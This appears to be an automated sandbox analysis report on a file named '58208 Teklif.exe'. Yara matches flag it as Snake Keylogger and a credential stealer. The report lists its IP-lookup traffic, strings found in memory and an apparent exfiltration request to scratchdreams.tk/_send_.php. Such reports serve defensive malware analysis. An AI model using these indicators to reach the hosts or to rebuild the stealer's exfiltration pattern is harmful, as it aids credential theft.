Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.11:49711 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: checkip.dyndns.org

Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002F98000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003074000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: 58208 Teklif.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: 58208 Teklif.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: 58208 Teklif.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FC3000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: 58208 Teklif.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsdCEscolha
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.152.231
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.152.231$
Source: 58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030B0000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS
Source: 58208 Teklif.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 172.67.169.18:443 -> 192.168.2.11:49727 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_0155DE0C	0_2_0155DE0C
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07790040	0_2_07790040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07799E58	0_2_07799E58
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07795590	0_2_07795590
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07795588	0_2_07795588
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07792C48	0_2_07792C48
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07792C38	0_2_07792C38
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_077934B8	0_2_077934B8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07794CB8	0_2_07794CB8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_077934A8	0_2_077934A8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07790007	0_2_07790007
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07793080	0_2_07793080
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141617D	3_2_0141617D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141C1F0	3_2_0141C1F0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141B388	3_2_0141B388
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141C4D0	3_2_0141C4D0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141C7B2	3_2_0141C7B2
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_014168E0	3_2_014168E0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_01414B31	3_2_01414B31
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141CA92	3_2_0141CA92
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141BC32	3_2_0141BC32
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141BF10	3_2_0141BF10
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_014191D0	3_2_014191D0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141305E	3_2_0141305E
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141223D	3_2_0141223D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141B552	3_2_0141B552
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141F502	3_2_0141F502
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_014135CA	3_2_014135CA
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141EA08	3_2_0141EA08
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_0141EA0D	3_2_0141EA0D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A989B0	3_2_05A989B0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A94490	3_2_05A94490
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A990DD	3_2_05A990DD
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9C9B8	3_2_05A9C9B8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A91980	3_2_05A91980
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9F980	3_2_05A9F980
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A91DE0	3_2_05A91DE0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A91DD0	3_2_05A91DD0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9F528	3_2_05A9F528
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A91520	3_2_05A91520
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9C108	3_2_05A9C108
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9C560	3_2_05A9C560
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A94480	3_2_05A94480
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A910C0	3_2_05A910C0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9F0D0	3_2_05A9F0D0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9E820	3_2_05A9E820
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A98008	3_2_05A98008
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9800D	3_2_05A9800D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A90C60	3_2_05A90C60
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9EC78	3_2_05A9EC78
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A90040	3_2_05A90040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A90045	3_2_05A90045
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A90C50	3_2_05A90C50
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A98790	3_2_05A98790
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9E3C8	3_2_05A9E3C8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9DB18	3_2_05A9DB18
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9DF70	3_2_05A9DF70
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9D6C0	3_2_05A9D6C0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9CE10	3_2_05A9CE10
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9D268	3_2_05A9D268
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDAEA8	3_2_06BDAEA8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDDAC0	3_2_06BDDAC0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDCE28	3_2_06BDCE28
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD8A58	3_2_06BD8A58
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDC7D8	3_2_06BDC7D8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDBB38	3_2_06BDBB38
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD908D	3_2_06BD908D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDB4F0	3_2_06BDB4F0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDD478	3_2_06BDD478
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDA858	3_2_06BDA858
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDC188	3_2_06BDC188
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD15F8	3_2_06BD15F8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDAE98	3_2_06BDAE98
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD5EC0	3_2_06BD5EC0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDCE18	3_2_06BDCE18
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD8600	3_2_06BD8600
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD5A68	3_2_06BD5A68
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD8A5D	3_2_06BD8A5D
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD5A58	3_2_06BD5A58
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD3B80	3_2_06BD3B80
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD6BC8	3_2_06BD6BC8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDC7CA	3_2_06BDC7CA
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDBB27	3_2_06BDBB27
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD6318	3_2_06BD6318
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD6770	3_2_06BD6770
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD74A0	3_2_06BD74A0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD0498	3_2_06BD0498
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD4880	3_2_06BD4880
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD78F8	3_2_06BD78F8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD08F0	3_2_06BD08F0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD78EF	3_2_06BD78EF
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD08E7	3_2_06BD08E7
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD0037	3_2_06BD0037
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD7020	3_2_06BD7020
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD3808	3_2_06BD3808
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD3803	3_2_06BD3803
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDD468	3_2_06BDD468
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD0040	3_2_06BD0040
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD81A8	3_2_06BD81A8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD11A0	3_2_06BD11A0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD55E8	3_2_06BD55E8
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD55D9	3_2_06BD55D9
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD2D05	3_2_06BD2D05
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDC178	3_2_06BDC178
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD7D50	3_2_06BD7D50
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD0D48	3_2_06BD0D48
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BF3570	3_2_06BF3570
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFDEA0	3_2_06BFDEA0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFDE9B	3_2_06BFDE9B
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFBFEC	3_2_06BFBFEC

Source: 58208 Teklif.exe

Static PE information: invalid certificate

Source: 58208 Teklif.exe, 00000000.00000002.1319232533.000000000320C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 58208 Teklif.exe
